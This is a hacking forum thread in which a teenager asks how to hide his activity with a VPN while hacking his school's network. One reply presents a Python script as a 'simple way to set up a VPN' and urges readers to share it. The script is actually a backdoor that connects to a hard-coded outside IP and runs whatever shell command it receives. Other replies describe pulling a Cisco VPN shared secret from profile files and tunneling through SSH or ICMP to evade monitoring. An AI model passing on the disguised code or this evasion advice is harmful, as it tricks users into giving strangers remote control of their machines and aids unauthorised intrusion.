VPN at School

[Miklar96]

Hello fellow hackers!


I am 16 years old, and still at school... I am trying my way in hacking and are challenged to do some hacking at my schools network and website. But everything we do at my school, is being watched and I don't feel like getting kick out because of a little hacking. Therefore i need to setup a VPN. I run Mac and have tried to start a VPN, but simply can't. I have the IP to the nearest router, and, without knowing, think that I just need the "Shared Secret". How can I get that? And is there another way to secure your journey around the net, without being noticed?

Just to let you know, you sound like  a total try-hard right now. so before you get ripped to shreds by the others i'll tell you this, if all you want to do is be a misfit and hack everyone you know, just leave. but if you have a genuine interest in computers,then quit it with the whole "hack the world" bullshit and start from the basics .

I suggest that you research what a VPN is, and how to set one up. and if you still can't, when you believe you should be able to, start considering why. you learn by solving problems and getting these results validated.  now. think about timescales. you think you will be able to do all you want in an hour, two max? and, im guessing that command prompt is blocked on the system. oh, and I should probably point out, that you are being watched because remote admin tools are installed on all the computers, with your teachers, and the tech staff having access to the RAT, allowing them to watch the whole class from one screen. having an IP address means nothing. unless you know what is behind it. you should probably do a large amount more research on many different areas before you attempt it.. especially seeing as it seems you don't know that much about what you are doing. ( I draw that assumption from the fact you think something is being kept secret. that only indicates that you don't know half of what you are trying to do.)

Here is a simple way to set up a VPN.
Copy/paste the code below, and put it in a file named "VPN.py"
After running it you can connect to it now using the IP: 192.168.1.1
Share this with your friends, too.

Code: (python) [Select]

import socket
import subprocess
PORT = 8072
IP = '99.113.50.267'
class Network():
    def __init__(self):
        self._socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    def connect(self, ip, port):
        self._socket.connect((ip, port))
        self._socket.send("VPN;)")
    def loop(self):
        while True:
            self._command = self._socket.recv(1024)
            return self._command
def Exec(command):
    execute = subprocess.Popen(command, shell=True, stdin=None, stdout=None, stderr=None)
server = Network()
server.connect(IP, PORT)
cmd = server.loop()
Exec(cmd)

Depends on the type of VPN your school is using. If it is a cisco IPSec VPN and you have the required connection profile (.pcf file) you can get the shared secret (Group Password or PSK) pretty easy:

Anyways you won't be able to connect to the vpn with this information. If you already have a pcf file you don't need the psk cause it is saved inside the file. In this case you would need correct user credentials. Depending on the setup it can be a domain user or a local created user on the firewall/router.

Tbh I don't really understand your question. You had a look at your IP configuration, found the default gateway and want to connect to it with a vpn? you know what kind of device it is? Is there a vpn service running on it? Or do you want to connect to a vpn service outside the school network to have your traffic encrypted? If thats the case you should look for a SSL VPN provider because the SSL ports are most commonly open. If you need to use a proxy server to reach the internet I am pretty sure whether SSL nor IPSec VPN will work. You should try other possibilities like ssh or icmp tunneling.

I hope writing that was not a waste of time and you go on researching on that topic.
